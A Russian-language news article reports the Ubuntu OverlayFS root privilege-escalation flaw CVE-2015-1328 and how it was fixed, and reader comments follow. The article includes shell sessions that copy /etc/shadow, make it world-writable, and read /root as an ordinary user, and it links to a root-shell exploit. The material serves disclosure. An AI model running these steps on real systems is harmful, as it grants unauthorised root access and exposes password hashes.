В реализации файловой системы OverlayFS выявлена (http://seclists.org/oss-sec/2015/q2/717) уязвимость (CVE-2015-1328), которую можно использовать для получения root-доступа на системах, в которых разрешено монтирование разделов OverlayFS непривилегированным пользователем. Достаточные для эксплуатации уязвимости настройки по умолчанию применяются во всех поддерживаемых ветках Ubuntu (12.04, 14.04, 14.10 и 15.04).
Разработчики Ubuntu уже оперативно выпустили (http://people.canonical.com/~ubuntu-security/cve/2015/CVE-20...) обновление ядра Linux с исправленным модулем OverlayFS. Подверженность других дистрибутивов данной проблеме пока не подтверждена. В качестве временной меры защиты можно удалить или поместить в чёрный список модуль ядра overlayfs.ko (или overlay.ko).
Уязвимость вызвана некорректной проверкой прав доступа при создании новых файлов в директории нижележащей родительской файловой системы. Если ядро собрано с опцией "CONFIG_USER_NS=y" (включение пользовательских пространств имён) и при монтировании использован флаг FS_USERNS_MOUNT, имеется возможность монтирования OverlayFS обычным пользователем в отдельном пространстве имён, в котором в том числе допускаются операции с правами root, распространяющиеся только на данное пространство имён.
Напомним, что пространства имён для идентификаторов пользователей (user namespaces) позволяют сформировать в контейнерах собственные наборы идентификаторов групп и пользователей, а также связанные с ними привилегии (например, в каждом контейнере/пространстве имён может быть свой root). Например, определённый пользователь может получить в контейнере особенные привилегии, которые отсутствуют у него вне контейнера, или процесс внутри контейнера может получить права root, но остаться непривилегированным вне контейнера.
Суть проблемы в том, что привилегированные операции с файлами, выполненные в созданном пространстве имён, при использовании раздела OverlayFS остаются привилегированными и при выполнении действий с нижележащей ФС. Например, можно подключить в OverlayFS системный раздел /etc и модифицировать файл с паролями, посмотреть/заменить содержимое любых закрытых директорий и файлов. Опасность проблемы продемонстрирована готовым эксплоитом (http://seclists.org/oss-sec/2015/q2/att-717/ofs_c.bin), позволяющим запустить shell с правами root через создание доступного на запись файла /etc/ld.so.preload.Примеры атак.
Создадим полную копию файла /etc/shadow (в примерах под пользователем root подразумевается суперпользователь в пространстве имён, созданном обычным пользователем)
<font color="#461b7e">
$ ./create-namespace
# mount -t overlay -o lowerdir=/etc,upperdir=upper,workdir=work overlayfs o
# chmod 777 work/work/
# cd o
# mv shadow copy_of_shadow
(выход из созданного namespace)$ ls -al upper/copy_of_shadow
-rw-r----- 1 root shadow 1236 May 24 15:51 upper/copy_of_shadow
$ stat upper/copy_of_shadow /etc/shadow|grep Inode
Device: 801h/2049d Inode: 939791 Links: 1
Device: 801h/2049d Inode: 277668 Links: 1
</font>Поменяем права на файл и вернём его в директорию /etc (/etc монтируем как upperdir, а ранее созданную директорию как lowerdir, т.е. меняем upperdir и lowerdir местами):
<font color="#461b7e">
$ ./create-namespace
# mount -t overlay -o lowerdir=upper,upperdir=/etc,workdir=work overlayfs o
# chmod 777 work/work/
# cd o
# chmod 777 copy_of_shadow
~/o# exit
~$ ls -al /etc/copy_of_shadow
-rwxrwxrwx 1 root shadow 1236 May 24 15:51 /etc/copy_of_shadow</font>
Посмотрим содержимое директории /root:
<font color="#461b7e">
$ ls -al /root
ls: cannot open directory /root: Permission denied
$ mkdir o upper work
$ mount -t overlayfs -o
lowerdir=/root,upperdir=/home/user/upper,workdir=/home/user/work
overlayfs /home/user/o
$ ls -al o 2>/dev/null
total 8
drwxrwxr-x 1 root nogroup 4096 May 24 16:33 .
drwxr-xr-x 8 root nogroup 4096 May 24 16:33 ..
-????????? ? ? ? ? ? .bash_history
-????????? ? ? ? ? ? .bashrc
d????????? ? ? ? ? ? .cache
-????????? ? ? ? ? ? .lesshst
d????????? ? ? ? ? ? linux-3.19.0</font>
URL: http://seclists.org/oss-sec/2015/q2/717
Новость: http://www.opennet.me/opennews/art.shtml?num=42438
Об этом сразу предупреждали, что хлебнут проблем с этими user namespaces и не раз. И вообще контейнеры, в которых используется одно на всех ядро, довольно шаткая конструкция.
Это уже вторая подобная проблема в user namespaces, первая позволяла полностью контролировать внешнюю ФС через прямое обращение к inode.
> Это уже вторая подобная проблема в user namespaces, первая позволяла полностью контролировать внешнюю ФС через прямое обращение к inode.Сдает Линус, сдает. Патчи уже совсем почти не просматривает. В девяносто восьмом такой фигни не было!
> Сдает Линус, сдает.Акела промахнулся ©
P.S.: Считаешь, что пора?
пора переходить на freeBSD
> пора переходить на freeBSDЭто которым автоматический троянец сервак расхакал? И над которыми автор очередного сплойта в хидере поздравлял фрибздунов с 20-летием и открыто стебался что "секурность фрибзды - такая же как и 20 лет назад"? Да они даже alsr всякие и прочие W^X сильно опосля большинства пингинов начали задействовать. И вы хотите сказать что они - безопаснее?
При чем здесь Линус? В ванильном ядре этого нет.
https://git.launchpad.net/~ubuntu-kernel/ubuntu/+source/linu...
> https://git.launchpad.net/~ubuntu-kernel/ubuntu/+source/linu...Вот так, одной недостаточно обдуманной строчкой...
Подход debian patch style во всей красе. Вспоминается история про ssh.
>> https://git.launchpad.net/~ubuntu-kernel/ubuntu/+source/linu...
> Вот так, одной недостаточно обдуманной строчкой...зачётный пачч :) :) :)
> Сдает Линус, сдает. Патчи уже совсем почти не просматривает.Ну еще бы он out of tree художества убунтуев просматривал.
> В девяносто восьмом такой фигни не было!
Хм, действительно. В девяносто восьмом убунты и ее свободных художников с такими креативными патчами на майнлайн еще не существовало.
> Об этом сразу предупреждали, что хлебнут проблем с этими user namespaces и не раз. И вообще контейнеры, в которых используется одно на всех ядро, довольно шаткая конструкция.OpenVZ тоже когда-то был юным и болел детскими болезнями.
Ничего страшного, рано или поздно допилят и LXC.А пока проблемы только у пользователей дистрибутивов, в которых по умолчанию включают потенциально опасные фичи. Впрочем, это даже не проблема: расчищать минные поля своими тушками - рядовые будни пользователей таких дистров.
> А пока проблемы только у пользователей убунтыЭто часом не User294 был? :)
> Это часом не User294 был? :)Нет. Меня вообще в последнее время на опеннетике маловато. Мне и так есть чем заняться, а писать новости для аудитории которая меня потом называет русофобской мразью, при попустительстве модеров - мне не очень доставляет, если честно. На самом деле вокруг линя и проч - был ряд интересных событий по разным направлениям. Но об этом НеРусофобам как видим придется или почитать на английском или не узнать вообще, как им там больше нравится.
Об этом сразу предупреждали, что хлебнут проблем с этими правами доступа, и не раз. И вообще операционные системы, в которых существует более одного пользователя на ядро, довольно шаткая конструкция.
Docker EPICFAIL!
> DockerСкорее LXC. Докер особо и не при делах (это просто юзерспейсный слой абстракции, а проблема в ядре).
> Скорее LXC. Докер особо и не при делах (это просто юзерспейсный слой
> абстракции, а проблема в ядре).Они недавно хвалились переходом на оверлейфс...
в убунтах по-умолчанию работает?
Первый абзац внимательно прочитал?
> Первый абзац внимательно прочитал?изначально там не было этого текста
Оперативно выпустили в proposed, где теперь неделю еще лежать будет как минимум?
У всех уже лежит в Security, а ты особенный.
Действительно обнова оперативная была.